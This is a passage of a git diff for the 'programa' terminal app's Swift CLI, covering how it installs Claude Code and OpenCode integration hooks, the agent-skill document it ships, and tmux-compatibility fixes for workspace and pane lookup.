groups, keeping the user's hooks that + /// share a group with ours, and drops groups left empty. Returns the number of hooks removed. + private static func claudeRemovingProgramaHooks(_ groups: [[String: Any]]) -> (groups: [[String: Any]], removed: Int) { + var removed = 0 + let kept: [[String: Any]] = groups.compactMap { group in + guard let groupHooks = group["hooks"] as? [[String: Any]] else { return group } + let userHooks = groupHooks.filter { hook in + (hook["command"] as? String)?.contains(claudeHookCommandMarker) != true + } + removed += groupHooks.count - userHooks.count + if userHooks.count == groupHooks.count { return group } + guard !userHooks.isEmpty else { return nil } + var trimmed = group + trimmed["hooks"] = userHooks + return trimmed + } + return (kept, removed) + } + + /// Resolves the target settings.json, respecting Claude Code's own + /// CLAUDE_CONFIG_DIR override. + private static func claudeSettingsPath() -> String { + if let override = ProcessInfo.processInfo.environment["CLAUDE_CONFIG_DIR"]? + .trimmingCharacters(in: .whitespacesAndNewlines), + !override.isEmpty { + return (integrationExpandTilde(override) as NSString).appendingPathComponent("settings.json") + } + return integrationExpandTilde("~/.claude/settings.json") + } + + func runClaudeInstallIntegration() throws { + let settingsPath = Self.claudeSettingsPath() + let settingsDir = (settingsPath as NSString).deletingLastPathComponent + let fm = FileManager.default + + try fm.createDirectory(atPath: settingsDir, withIntermediateDirectories: true, attributes: nil) + + let existingSettingsContent: String? + if fm.fileExists(atPath: settingsPath) { + guard let content = try? String(contentsOfFile: settingsPath, encoding: .utf8) else { + throw CLIError(message: "Could not read \(settingsPath). Check file permissions.") + } + existingSettingsContent = content + } else { + existingSettingsContent = nil + } + + // Missing file = empty JSON object. Existing-but-unparsable = stop; never overwrite. + var existing: [String: Any] = [:] + if let existingSettingsContent { + let trimmed = existingSettingsContent.trimmingCharacters(in: .whitespacesAndNewlines) + if !trimmed.isEmpty { + guard let data = existingSettingsContent.data(using: .utf8), + let parsed = try? JSONSerialization.jsonObject(with: data) as? [String: Any] else { + throw CLIError( + message: "\(settingsPath) is not valid JSON. Fix or remove the file manually, then re-run this command." + ) + } + existing = parsed + } + } + + // Strip every programa hook first (including ones a user grouped with their own hooks), + // then append one fresh programa group, so reinstalling never duplicates. + var hooks = existing["hooks"] as? [String: Any] ?? [:] + let programaHooks = Self.claudeHooksPayload + for (eventName, programaGroups) in programaHooks { + guard let programaGroupArray = programaGroups as? [[String: Any]] else { continue } + var eventGroups = Self.claudeRemovingProgramaHooks(hooks[eventName] as? [[String: Any]] ?? []).groups + eventGroups.append(contentsOf: programaGroupArray) + hooks[eventName] = eventGroups + } + existing["hooks"] = hooks + + let newJsonData = try JSONSerialization.data(withJSONObject: existing, options: [.prettyPrinted, .sortedKeys, .withoutEscapingSlashes]) + let newContent = String(data: newJsonData, encoding: .utf8) ?? "" + let settingsChanged = existingSettingsContent != newContent + + // Also install the `programa` agent skill into ~/.claude/skills (or + // $CLAUDE_CONFIG_DIR/skills) alongside the hooks, so a fresh Claude + // Code session inside programa knows it can drive the app. Refs #165. + let skillPath = Self.agentSkillFilePath(skillsRoot: (settingsDir as NSString).appendingPathComponent("skills")) + let skillState = agentSkillInstallState(path: skillPath) + + if !settingsChanged && !skillState.changed { + print("programa Claude Code integration is already installed. Nothing to change.") + return + } + + if settingsChanged { + print(" \(settingsPath):") + if let existingSettingsContent, !existingSettingsContent.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty { + printSimpleDiff(old: existingSettingsContent, new: newContent) + } else { + print(" (new file)") + let lines = newContent.components(separatedBy: "\n") + for (i, line) in lines.enumerated() { + let lineLabel = String(format: "%3d", i + 1) + print(" \u{001B}[32m\(lineLabel) +\(line)\u{001B}[0m") + } + } + print("") + } + if skillState.changed { + printAgentSkillDiff(path: skillPath, existing: skillState.existing) + } + + try confirmIntegrationChanges() + + if settingsChanged { + try writeClaudeSettings(newJsonData, replacing: existingSettingsContent, at: settingsPath) + } + if skillState.changed { + try writeAgentSkillFile(path: skillPath) + } + + print("") + print("Installed. The Claude Code integration now works from any terminal, not just programa's.") + print("To remove: programa claude uninstall-integration") + } + + /// Writes settings.json through a symlink (an atomic write to the link path would + /// replace the user's link with a regular file) and only while the file still holds + /// the content the change was computed from, under the same sidecar lock the Codex + /// installer uses, so a concurrent edit is reported instead of overwritten. The file + /// keeps its permission bits (it can hold `env` API keys, so a user's 0600 must survive); + /// a new file is created 0600. + private func writeClaudeSettings(_ data: Data, replacing previous: String?, at path: String) throws { + let target = try codexResolveConfigTarget(path) + try withCodexHooksLock(at: (path as NSString).deletingLastPathComponent) { + guard (try? String(contentsOfFile: target, encoding: .utf8)) == previous else { + throw CLIError(message: "\(path) changed while the integration was being updated. Re-run this command.") + } + var info = stat() + let mode: mode_t = lstat(target, &info) == 0 ? info.st_mode & 0o7777 : 0o600 + try codexAtomicWrite(data, to: target, mode: mode) + } + } + + func runClaudeUninstallIntegration() throws { + let settingsPath = Self.claudeSettingsPath() + let settingsDir = (settingsPath as NSString).deletingLastPathComponent + let skillPath = Self.agentSkillFilePath(skillsRoot: (settingsDir as NSString).appendingPathComponent("skills")) + let skillContent = agentSkillUninstallState(path: skillPath) + let fm = FileManager.default + + var hooksRemoval: (newJsonData: Data, newContent: String, oldContent: String)? + if fm.fileExists(atPath: settingsPath), + let data = try? Data(contentsOf: URL(fileURLWithPath: settingsPath)), + var parsed = try? JSONSerialization.jsonObject(with: data) as? [String: Any], + var hooks = parsed["hooks"] as? [String: Any] { + var removedCount = 0 + for eventName in hooks.keys { + guard let eventGroups = hooks[eventName] as? [[String: Any]] else { continue } + let result = Self.claudeRemovingProgramaHooks(eventGroups) + removedCount += result.removed + if result.groups.isEmpty { + hooks.removeValue(forKey: eventName) + } else { + hooks[eventName] = result.groups + } + } + if removedCount > 0 { + parsed["hooks"] = hooks + let newJsonData = try JSONSerialization.data(withJSONObject: parsed, options: [.prettyPrinted, .sortedKeys, .withoutEscapingSlashes]) + let newContent = String(data: newJsonData, encoding: .utf8) ?? "" + let oldContent = String(data: data, encoding: .utf8) ?? "" + hooksRemoval = (newJsonData, newContent, oldContent) + } + } + + if hooksRemoval == nil && skillContent == nil { + print("No programa hooks found.") + return + } + + if let hooksRemoval { + print(" \(settingsPath):") + printSimpleDiff(old: hooksRemoval.oldContent, new: hooksRemoval.newContent) + print("") + } + if let skillContent { + printAgentSkillRemovalDiff(path: skillPath, content: skillContent) + } + + try confirmIntegrationChanges() + + if let hooksRemoval { + try writeClaudeSettings(hooksRemoval.newJsonData, replacing: hooksRemoval.oldContent, at: settingsPath) + } + if skillContent != nil { + try removeAgentSkillFileIfManaged(path: skillPath) + } + print("Removed programa Claude Code integration.") + } +} diff --git a/CLI/CLI+Hooks.swift b/CLI/CLI+Hooks.swift index 1172a8121..9bf1f2e45 100644 --- a/CLI/CLI+Hooks.swift +++ b/CLI/CLI+Hooks.swift @@ -500,7 +500,7 @@ extension ProgramaCLI { let subcommand = ["active": "session-start", "idle": "stop", "notify": "notification"][rawSubcommand] ?? rawSubcommand let hookArgs = Array(commandArgs.dropFirst()) let hookWsFlag = optionValue(hookArgs, name: "--workspace") - let rawInput = String(data: FileHandle.standardInput.readDataToEndOfFile(), encoding: .utf8) ?? "" + let rawInput = readAgentHookStdin() let context = AgentHookContext( client: client, parsed: parseAgentHookInput(rawInput: rawInput, hookArgs: hookArgs), @@ -1867,8 +1867,8 @@ extension ProgramaCLI { let environment = ProcessInfo.processInfo.environment let override = environment["CODEX_HOME"]?.trimmingCharacters(in: .whitespacesAndNewlines) let explicit = override?.isEmpty == false - let rawHome = explicit ? override! : NSString(string: "~/.codex").expandingTildeInPath - let expanded = NSString(string: rawHome).expandingTildeInPath + let rawHome = explicit ? override! : "~/.codex" + let expanded = Self.integrationExpandTilde(rawHome) let absolute = expanded.hasPrefix("/") ? URL(fileURLWithPath: expanded).standardizedFileURL.path : URL(fileURLWithPath: FileManager.default.currentDirectoryPath).appendingPathComponent(expanded).standardizedFileURL.path @@ -1885,7 +1885,7 @@ extension ProgramaCLI { return CodexPaths(home: home, lockHome: canonicalHome, hooks: hooks, configLink: configLink, configTarget: configTarget) } - private func codexResolveConfigTarget(_ path: String) throws -> String { + func codexResolveConfigTarget(_ path: String) throws -> String { var info = stat() let result = path.withCString { Darwin.lstat($0, &info) } if result != 0 { @@ -2688,7 +2688,7 @@ extension ProgramaCLI { description: Drive the programa terminal app from inside a programa surface — inspect windows/workspaces/panes/surfaces, split panes and run commands without stealing the user's focus, read output from sibling panes, spawn and coordinate a helper agent, and wait on it. Use whenever an agent is running inside programa (PROGRAMA_SURFACE_ID and PROGRAMA_SOCKET_PATH are set) and needs to control the app itself, not just the shell inside one pane. Do not use, and do not call the programa CLI at all, when those two variables are unset — that means the agent is not running inside programa. --- - + # programa @@ -2782,6 +2782,8 @@ extension ProgramaCLI { programa new-surface --pane pane:4 # new tab in an existing pane ``` + A workspace holds at most 4 panes. A split or new pane past that fails with error code `limit_reached` (`data.max_panes` is 4) instead of creating anything. Fall back to `agent_spawn` (a helper gets its own nested workspace) or to a new workspace with `programa new-workspace`. + ## Reading output from a sibling pane `read-screen` (alias `capture-pane`, for tmux muscle memory) returns terminal text as plain text — the visible viewport by default, or scrollback on request: @@ -2825,7 +2827,7 @@ extension ProgramaCLI { ## Waiting on a server, a test run, or another agent - `wait-surface` blocks server-side until a surface's output matches a regex or its process exits, so you don't have to poll: + `wait-surface` blocks server-side until a surface's output matches a regex, its process exits, or the agent in it reaches a state, so you don't have to poll: ```bash # Block until the build in a sibling pane finishes, up to 2 minutes @@ -2835,7 +2837,7 @@ extension ProgramaCLI { programa wait-surface --surface "$handle" --exit --timeout 600 ``` - Exactly one of `--pattern ` or `--exit` is required. Match on whatever the process actually prints ("PASS", "Server started", a prompt returning), not a fixed sleep duration. The wait is answered by the app the moment the condition is met — there is no missed-event window even if the output appears while the call is being issued. + Exactly one of `--pattern `, `--exit`, or `--agent-state ` is required. Match on whatever the process actually prints ("PASS", "Server started", a prompt returning), not a fixed sleep duration. The wait is answered by the app the moment the condition is met — there is no missed-event window even if the output appears while the call is being issued. `wait-surface` also has a third condition, `--agent-state `, for a sibling pane running another agent whose lifecycle hooks report status automatically (Claude Code/Codex/OpenCode installs wire this up for you, no extra setup) — block on what the agent is *doing*, not what it prints: @@ -2871,6 +2873,57 @@ extension ProgramaCLI { It sends the text, waits (briefly) for the helper to report it started working, then waits for it to go idle again. If the helper never reports any activity at all, the JSON response carries a `warning` noting its hooks may not be installed, rather than hanging or failing outright — check that field if `prompt-agent` returns suspiciously fast. + ## Writing a recap + + When the user asks for a recap or summary of a change, write it as markdown to `.programa/recaps/.md` (repo root resolved with `git rev-parse --show-toplevel` from your cwd), then open it: + + ```bash + programa recap open + ``` + + Use the same panel that renders `programa markdown open` for it, so lean on its formatting: + + - ` ```mermaid ` fenced blocks for flow diagrams (rendered offline, no network call) + - GitHub-style alerts (`> [!NOTE]`, `> [!TIP]`, `> [!IMPORTANT]`, `> [!WARNING]`, `> [!CAUTION]`) for callouts + - a `:::compare` block for before/after code, rendered side by side: + + ```` + :::compare + ```swift before + old code + ``` + ```swift after + new code + ``` + ::: + ```` + + `programa recap list` shows the slugs already saved. Keep the recap itself short and plain, the same way you'd summarize the change in chat. + + ## Browser work + + Two browsers, two jobs. Do not reach for a Chrome extension for either. + + - **Local previews, smoke tests, screenshots you read back, DOM checks, console errors:** use programa's embedded browser. It opens beside your pane, keeps its own profile, and never moves the user's focus: + + ```bash + programa browser open-split http://localhost:3000 # prints the new surface id + programa browser --surface surface:7 snapshot --interactive # interactive elements only + programa browser --surface surface:7 click "button.submit" --snapshot-after + programa browser --surface surface:7 screenshot --out /tmp/after.png + programa browser --surface surface:7 tab close + ``` + + `programa browser --help` lists the rest (wait, fill, eval, cookies, console, errors). Network routing, viewport control, and raw input injection are not available on WKWebView, so there are no commands for them. Over MCP the same calls are the `browser_*` tools of `programa-mcp`. + + - **Logged-in sites, private dashboards, CI logs, anything that needs the user's real browser profile:** use Aside through its MCP server if it is registered (tools from the `aside` server, or `aside-devtools` for raw Chrome DevTools control), or delegate a whole task from the shell: + + ```bash + aside "Open the staging dashboard and tell me whether the last deploy is green" + ``` + + `programa aside status` says whether Aside is installed and registered; `programa aside install-mcp` registers it with Claude Code and Codex. Do not run the installer yourself unless the user asks, it edits their agent config. + ## Reference - `--workspace`/`--surface`/`--pane`/`--window` accept either a short ref (`workspace:2`, `surface:4`) or a raw UUID; omitted, they default to `$PROGRAMA_WORKSPACE_ID`/`$PROGRAMA_SURFACE_ID`. @@ -2964,264 +3017,6 @@ extension ProgramaCLI { try fm.removeItem(atPath: path) } - // MARK: - Claude Code integration (persistent hooks) - - /// The persistent hook command installed into ~/.claude/settings.json (or - /// $CLAUDE_CONFIG_DIR/settings.json). Unlike the runtime wrapper injected by - /// Resources/bin/claude (which always runs inside a programa terminal and can - /// assume programa is reachable), this command runs from *any* terminal, so it - /// defensively checks both that it's inside a programa surface and that the - /// programa CLI is on PATH before calling out. Mirrors the codex guard shape. - private static func claudeHookCommand(_ event: String) -> String { - "[ -n \"$PROGRAMA_SURFACE_ID\" ] && command -v programa >/dev/null 2>&1 && programa claude-hook \(event) || echo '{}'" - } - - /// Identifier used to detect programa-owned hooks during install/uninstall. - private static let claudeHookCommandMarker = "programa claude-hook" - - private struct ClaudeHookEventSpec { - let name: String - let event: String - let timeout: Int - let isAsync: Bool - } - - /// The lifecycle events the runtime wrapper's HOOKS_JSON injects - /// (Resources/bin/claude:207), reproduced here for the persistent file. - private static let claudeHookEventSpecs: [ClaudeHookEventSpec] = [ - ClaudeHookEventSpec(name: "SessionStart", event: "session-start", timeout: 10, isAsync: false), - ClaudeHookEventSpec(name: "Stop", event: "stop", timeout: 10, isAsync: false), - ClaudeHookEventSpec(name: "SessionEnd", event: "session-end", timeout: 1, isAsync: false), - ClaudeHookEventSpec(name: "Notification", event: "notification", timeout: 10, isAsync: false), - ClaudeHookEventSpec(name: "UserPromptSubmit", event: "prompt-submit", timeout: 10, isAsync: false), - ClaudeHookEventSpec(name: "PreToolUse", event: "pre-tool-use", timeout: 5, isAsync: true), - ClaudeHookEventSpec(name: "SubagentStart", event: "subagent-start", timeout: 5, isAsync: false), - ClaudeHookEventSpec(name: "SubagentStop", event: "subagent-stop", timeout: 5, isAsync: false) - ] - - /// Builds the programa-owned hook groups, keyed by Claude Code lifecycle event - /// name, in Claude Code's settings.json hooks schema (matcher + hooks array). - private static var claudeHooksPayload: [String: Any] { - var hooks: [String: Any] = [:] - for spec in claudeHookEventSpecs { - var hookEntry: [String: Any] = [ - "type": "command", - "command": claudeHookCommand(spec.event), - "timeout": spec.timeout - ] - if spec.isAsync { - hookEntry["async"] = true - } - hooks[spec.name] = [[ - "matcher": "", - "hooks": [hookEntry] - ] as [String: Any]] - } - return hooks - } - - /// Resolves the target settings.json, respecting Claude Code's own - /// CLAUDE_CONFIG_DIR override. - private static func claudeSettingsPath() -> String { - if let override = ProcessInfo.processInfo.environment["CLAUDE_CONFIG_DIR"]? - .trimmingCharacters(in: .whitespacesAndNewlines), - !override.isEmpty { - let expanded = NSString(string: override).expandingTildeInPath - return (expanded as NSString).appendingPathComponent("settings.json") - } - return NSString(string: "~/.claude/settings.json").expandingTildeInPath - } - - func runClaudeInstallIntegration() throws { - let skipConfirm = ProcessInfo.processInfo.arguments.contains("--yes") - || ProcessInfo.processInfo.arguments.contains("-y") - let settingsPath = Self.claudeSettingsPath() - let settingsDir = (settingsPath as NSString).deletingLastPathComponent - let fm = FileManager.default - - try fm.createDirectory(atPath: settingsDir, withIntermediateDirectories: true, attributes: nil) - - let existingSettingsContent: String? - if fm.fileExists(atPath: settingsPath) { - guard let content = try? String(contentsOfFile: settingsPath, encoding: .utf8) else { - throw CLIError(message: "Could not read \(settingsPath). Check file permissions.") - } - existingSettingsContent = content - } else { - existingSettingsContent = nil - } - - // Missing file = empty JSON object. Existing-but-unparsable = stop; never overwrite. - var existing: [String: Any] = [:] - if let existingSettingsContent { - let trimmed = existingSettingsContent.trimmingCharacters(in: .whitespacesAndNewlines) - if !trimmed.isEmpty { - guard let data = existingSettingsContent.data(using: .utf8), - let parsed = try? JSONSerialization.jsonObject(with: data) as? [String: Any] else { - throw CLIError( - message: "\(settingsPath) is not valid JSON. Fix or remove the file manually, then re-run this command." - ) - } - existing = parsed - } - } - - var hooks = existing["hooks"] as? [String: Any] ?? [:] - let programaHooks = Self.claudeHooksPayload - for (eventName, programaGroups) in programaHooks { - guard let programaGroupArray = programaGroups as? [[String: Any]] else { continue } - var eventGroups = hooks[eventName] as? [[String: Any]] ?? [] - eventGroups.removeAll { group in - guard let groupHooks = group["hooks"] as? [[String: Any]] else { return false } - return groupHooks.allSatisfy { hook in - (hook["command"] as? String)?.contains(Self.claudeHookCommandMarker) == true - } - } - eventGroups.append(contentsOf: programaGroupArray) - hooks[eventName] = eventGroups - } - existing["hooks"] = hooks - - let newJsonData = try JSONSerialization.data(withJSONObject: existing, options: [.prettyPrinted, .sortedKeys, .withoutEscapingSlashes]) - let newContent = String(data: newJsonData, encoding: .utf8) ?? "" - let settingsChanged = existingSettingsContent != newContent - - // Also install the `programa` agent skill into ~/.claude/skills (or - // $CLAUDE_CONFIG_DIR/skills) alongside the hooks, so a fresh Claude - // Code session inside programa knows it can drive the app. Refs #165. - let skillPath = Self.agentSkillFilePath(skillsRoot: (settingsDir as NSString).appendingPathComponent("skills")) - let skillState = agentSkillInstallState(path: skillPath) - - if !settingsChanged && !skillState.changed { - print("programa Claude Code integration is already installed. Nothing to change.") - return - } - - if settingsChanged { - print(" \(settingsPath):") - if let existingSettingsContent, !existingSettingsContent.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty { - printSimpleDiff(old: existingSettingsContent, new: newContent) - } else { - print(" (new file)") - let lines = newContent.components(separatedBy: "\n") - for (i, line) in lines.enumerated() { - let lineLabel = String(format: "%3d", i + 1) - print(" \u{001B}[32m\(lineLabel) +\(line)\u{001B}[0m") - } - } - print("") - } - if skillState.changed { - printAgentSkillDiff(path: skillPath, existing: skillState.existing) - } - - if !skipConfirm { - print("Apply these changes? [Y/n] ", terminator: "") - guard let response = readLine()?.trimmingCharacters(in: .whitespacesAndNewlines).lowercased(), - response.isEmpty || response == "y" || response == "yes" else { - print("Aborted.") - return - } - } - - if settingsChanged { - try writeClaudeSettings(newJsonData, replacing: existingSettingsContent, at: settingsPath) - } - if skillState.changed { - try writeAgentSkillFile(path: skillPath) - } - - print("") - print("Installed. The Claude Code integration now works from any terminal, not just programa's.") - print("To remove: programa claude uninstall-integration") - } - - /// Writes settings.json through a symlink (an atomic write to the link path would - /// replace the user's link with a regular file) and only while the file still holds - /// the content the change was computed from, under the same sidecar lock the Codex - /// installer uses, so a concurrent edit is reported instead of overwritten. - private func writeClaudeSettings(_ data: Data, replacing previous: String?, at path: String) throws { - let target = try codexResolveConfigTarget(path) - try withCodexHooksLock(at: (path as NSString).deletingLastPathComponent) { - guard (try? String(contentsOfFile: target, encoding: .utf8)) == previous else { - throw CLIError(message: "\(path) changed while the integration was being updated. Re-run this command.") - } - try data.write(to: URL(fileURLWithPath: target), options: .atomic) - } - } - - func runClaudeUninstallIntegration() throws { - let skipConfirm = ProcessInfo.processInfo.arguments.contains("--yes") - || ProcessInfo.processInfo.arguments.contains("-y") - let settingsPath = Self.claudeSettingsPath() - let settingsDir = (settingsPath as NSString).deletingLastPathComponent - let skillPath = Self.agentSkillFilePath(skillsRoot: (settingsDir as NSString).appendingPathComponent("skills")) - let skillContent = agentSkillUninstallState(path: skillPath) - let fm = FileManager.default - - var hooksRemoval: (newJsonData: Data, newContent: String, oldContent: String)? - if fm.fileExists(atPath: settingsPath), - let data = try? Data(contentsOf: URL(fileURLWithPath: settingsPath)), - var parsed = try? JSONSerialization.jsonObject(with: data) as? [String: Any], - var hooks = parsed["hooks"] as? [String: Any] { - var removedCount = 0 - for eventName in hooks.keys { - guard var eventGroups = hooks[eventName] as? [[String: Any]] else { continue } - let before = eventGroups.count - eventGroups.removeAll { group in - guard let groupHooks = group["hooks"] as? [[String: Any]] else { return false } - return groupHooks.allSatisfy { hook in - (hook["command"] as? String)?.contains(Self.claudeHookCommandMarker) == true - } - } - removedCount += before - eventGroups.count - if eventGroups.isEmpty { - hooks.removeValue(forKey: eventName) - } else { - hooks[eventName] = eventGroups - } - } - if removedCount > 0 { - parsed["hooks"] = hooks - let newJsonData = try JSONSerialization.data(withJSONObject: parsed, options: [.prettyPrinted, .sortedKeys, .withoutEscapingSlashes]) - let newContent = String(data: newJsonData, encoding: .utf8) ?? "" - let oldContent = String(data: data, encoding: .utf8) ?? "" - hooksRemoval = (newJsonData, newContent, oldContent) - } - } - - if hooksRemoval == nil && skillContent == nil { - print("No programa hooks found.") - return - } - - if let hooksRemoval { - print(" \(settingsPath):") - printSimpleDiff(old: hooksRemoval.oldContent, new: hooksRemoval.newContent) - print("") - } - if let skillContent { - printAgentSkillRemovalDiff(path: skillPath, content: skillContent) - } - - if !skipConfirm { - print("Apply these changes? [Y/n] ", terminator: "") - guard let response = readLine()?.trimmingCharacters(in: .whitespacesAndNewlines).lowercased(), - response.isEmpty || response == "y" || response == "yes" else { - print("Aborted.") - return - } - } - - if let hooksRemoval { - try writeClaudeSettings(hooksRemoval.newJsonData, replacing: hooksRemoval.oldContent, at: settingsPath) - } - if skillContent != nil { - try removeAgentSkillFileIfManaged(path: skillPath) - } - print("Removed programa Claude Code integration.") - } - /// Print a unified-diff-style view with context lines and line numbers. func printSimpleDiff(old: String, new: String, contextLines: Int = 2) { let red = "\u{001B}[31m" @@ -3448,7 +3243,7 @@ extension ProgramaCLI { export const ProgramaPlugin = async ({ directory, worktree, $ }) => { const hook = (event, extra = []) => $`programa opencode-hook ${event} --cwd ${directory} ${extra}`.quiet().nothrow() - await hook("session-start") + hook("session-start") return { "chat.message": async (input) => { await hook("prompt-submit", ["--session", input?.sessionID ?? ""]) @@ -3472,10 +3267,10 @@ extension ProgramaCLI { if let override = ProcessInfo.processInfo.environment["OPENCODE_CONFIG_DIR"]? .trimmingCharacters(in: .whitespacesAndNewlines), !override.isEmpty { - let expanded = NSString(string: override).expandingTildeInPath + let expanded = integrationExpandTilde(override) return (expanded as NSString).appendingPathComponent("plugins") } - return NSString(string: "~/.config/opencode/plugins").expandingTildeInPath + return integrationExpandTilde("~/.config/opencode/plugins") } /// Resolves the target skills directory, respecting the same @@ -3488,15 +3283,13 @@ extension ProgramaCLI { if let override = ProcessInfo.processInfo.environment["OPENCODE_CONFIG_DIR"]? .trimmingCharacters(in: .whitespacesAndNewlines), !override.isEmpty { - let expanded = NSString(string: override).expandingTildeInPath + let expanded = integrationExpandTilde(override) return (expanded as NSString).appendingPathComponent("skills") } - return NSString(string: "~/.config/opencode/skills").expandingTildeInPath + return integrationExpandTilde("~/.config/opencode/skills") } func runOpenCodeInstallIntegration() throws { - let skipConfirm = ProcessInfo.processInfo.arguments.contains("--yes") - || ProcessInfo.processInfo.arguments.contains("-y") let pluginsDir = Self.openCodePluginsDir() let pluginPath = (pluginsDir as NSString).appendingPathComponent("programa.js") let fm = FileManager.default @@ -3535,14 +3328,7 @@ extension ProgramaCLI { printAgentSkillDiff(path: skillPath, existing: skillState.existing) } - if !skipConfirm { - print("Apply these changes? [Y/n] ", terminator: "") - guard let response = readLine()?.trimmingCharacters(in: .whitespacesAndNewlines).lowercased(), - response.isEmpty || response == "y" || response == "yes" else { - print("Aborted.") - return - } - } + try confirmIntegrationChanges() if pluginChanged { try newContent.write(toFile: pluginPath, atomically: true, encoding: .utf8) @@ -3557,8 +3343,6 @@ extension ProgramaCLI { } func runOpenCodeUninstallIntegration() throws { - let skipConfirm = ProcessInfo.processInfo.arguments.contains("--yes") - || ProcessInfo.processInfo.arguments.contains("-y") let pluginsDir = Self.openCodePluginsDir() let pluginPath = (pluginsDir as NSString).appendingPathComponent("programa.js") let fm = FileManager.default @@ -3589,14 +3373,7 @@ extension ProgramaCLI { printAgentSkillRemovalDiff(path: skillPath, content: skillContent) } - if !skipConfirm { - print("Apply these changes? [Y/n] ", terminator: "") - guard let response = readLine()?.trimmingCharacters(in: .whitespacesAndNewlines).lowercased(), - response.isEmpty || response == "y" || response == "yes" else { - print("Aborted.") - return - } - } + try confirmIntegrationChanges() if existingPluginContent != nil { try fm.removeItem(atPath: pluginPath) diff --git a/CLI/CLI+TmuxCompat.swift b/CLI/CLI+TmuxCompat.swift index bada4b6a1..ba60eea2f 100644 --- a/CLI/CLI+TmuxCompat.swift +++ b/CLI/CLI+TmuxCompat.swift @@ -188,9 +188,31 @@ extension ProgramaCLI { return nil } - private func tmuxWorkspaceItems(client: SocketClient) throws -> [[String: Any]] { - let payload = try client.sendV2(method: V2MethodNames.workspaceList) - return payload["workspaces"] as? [[String: Any]] ?? [] + /// Workspaces the shim can target: the caller's window first (it plays tmux's current + /// session), then every other window. A bare `workspace.list` answers for the app's + /// current window, so a pane printed by `split-window -P` became unreachable as soon as + /// the user moved to another window. + private func tmuxWorkspaceItems(client: SocketClient, allWindows: Bool = true) throws -> [[String: Any]] { + let callerParams: [String: Any] = tmuxCallerWorkspaceHandle().map { ["workspace_id": $0] } ?? [:] + let payload: [String: Any] + if let scoped = try? client.sendV2(method: V2MethodNames.workspaceList, params: callerParams) { + payload = scoped + } else { + payload = try client.sendV2(method: V2MethodNames.workspaceList) + } + var items = payload["workspaces"] as? [[String: Any]] ?? [] + guard allWindows else { return items } + var seen = Set(items.compactMap { $0["id"] as? String }) + let windows = try client.sendV2(method: V2MethodNames.windowList)["windows"] as? [[String: Any]] ?? [] + for window in windows { + guard let windowId = window["id"] as? String, windowId != payload["window_id"] as? String else { continue } + let other = try client.sendV2(method: V2MethodNames.workspaceList, params: ["window_id": windowId]) + for item in other["workspaces"] as? [[String: Any]] ?? [] { + guard let id = item["id"] as? String, seen.insert(id).inserted else { continue } + items.append(item) + } + } + return items } private func tmuxIsClaudeTeamWorkspace(_ item: [String: Any]) -> Bool { @@ -764,6 +786,45 @@ extension ProgramaCLI { if let lastError { throw lastError } } + /// The pane across the border opposite `direction` (the right neighbor for `left`), from + /// `pane.list` pixel frames: the nearest pane whose facing edge lies beyond this pane's + /// opposite edge and that overlaps it on the other axis. Nil when there is none. + private func tmuxOppositeNeighborPaneId( + of paneId: String, + direction: String, + workspaceId: String, + client: SocketClient + ) throws -> String? { + let payload = try client.sendV2(method: V2MethodNames.paneList, params: ["workspace_id": workspaceId]) + let panes = payload["panes"] as? [[String: Any]] ?? [] + typealias Edges = (minX: Double, minY: Double, maxX: Double, maxY: Double) + func edges(_ pane: [String: Any]) -> Edges? { + guard let frame = pane["pixel_frame"] as? [String: Any] else { return nil } + let value = { (key: String) in (frame[key] as? NSNumber)?.doubleValue ?? 0 } + return (value("x"), value("y"), value("x") + value("width"), value("y") + value("height")) + } + guard let own = panes.first(where: { ($0["id"] as? String) == paneId }).flatMap(edges) else { return nil } + let horizontal = direction == "left" || direction == "right" + let slack = 4.0 // divider thickness + var best: (id: String, distance: Double)? + for pane in panes { + guard let id = pane["id"] as? String, id != paneId, let other = edges(pane) else { continue } + let overlaps = horizontal + ? other.minY < own.maxY && other.maxY > own.minY + : other.minX < own.maxX && other.maxX > own.minX + let distance: Double + switch direction { + case "left": distance = other.minX - own.maxX + case "right": distance = own.minX - other.maxX + case "up": distance = other.minY - own.maxY + default: distance = own.minY - other.maxY + } + guard overlaps, distance >= -slack, distance < (best?.distance ?? .greatestFiniteMagnitude) else { continue } + best = (id, distance) + } + return best?.id + } + /// Reads a surface's text. Without `scrollback` or `lines` only the visible screen is /// returned; `lines` reads that many rows counting up from the bottom of the scrollback. private func tmuxReadPaneText( @@ -1213,11 +1274,14 @@ extension ProgramaCLI { throw CLIError(message: "agent.spawn did not return surface_id") } if parsed.hasFlag("-P") { - let context = try tmuxFormatContext( - workspaceId: workspaceId, - surfaceId: surfaceId, - client: client - ) + // A fast-exiting command can close the helper workspace before this lookup + // runs; the spawn itself succeeded, so print from its response instead of failing. + var context = (try? tmuxFormatContext(workspaceId: workspaceId, surfaceId: surfaceId, client: client)) + ?? ["session_name": "programa", "window_id": "@\(workspaceId)", "window_uuid": workspaceId, "surface_id": surfaceId] + if let paneId = created["pane_id"] as? String { + context["pane_id"] = "%\(paneId)" + context["pane_uuid"] = paneId + } let fallback = context["pane_id"] ?? surfaceId print(tmuxRenderFormat(parsed.value("-F"), context: context, fallback: fallback)) } @@ -1368,7 +1432,7 @@ extension ProgramaCLI { case "list-windows", "lsw": let parsed = try parseTmuxArguments(rawArgs, valueFlags: ["-F", "-t"], boolFlags: []) - let items = try tmuxWorkspaceItems(client: client) + let items = try tmuxWorkspaceItems(client: client, allWindows: false) for item in items { guard let workspaceId = item["id"] as? String else { continue } let context = try tmuxFormatContext(workspaceId: workspaceId, client: client) @@ -1442,6 +1506,7 @@ extension ProgramaCLI { // -x / -y set an absolute size in columns / rows (a trailing % is ignored). // pane.resize can only move a border outward (grow the pane), and a pane has its // border on the right/bottom when it is a first child and left/top when it is a second. + var unhonored: [String] = [] for (flag, current, growing) in [ ("-x", pane["columns"] as? Int, ["right", "left"]), ("-y", pane["rows"] as? Int, ["down", "up"]), @@ -1455,7 +1520,7 @@ extension ProgramaCLI { } let delta = wanted - current if delta < 0 { - FileHandle.standardError.write(Data("resize-pane \(flag): shrinking to an absolute size is not supported; pane left at \(current)\n".utf8)) + unhonored.append("resize-pane \(flag): shrinking to an absolute size is not supported; pane left at \(current)") } else if delta > 0 { try tmuxResizePane( workspaceId: target.workspaceId, @@ -1486,14 +1551,34 @@ extension ProgramaCLI { } return value } ?? 1 - try tmuxResizePane( - workspaceId: target.workspaceId, - paneId: target.paneId, - directions: [direction], - cells: cells, - pane: pane, - client: client - ) + do { + try tmuxResizePane( + workspaceId: target.workspaceId, + paneId: 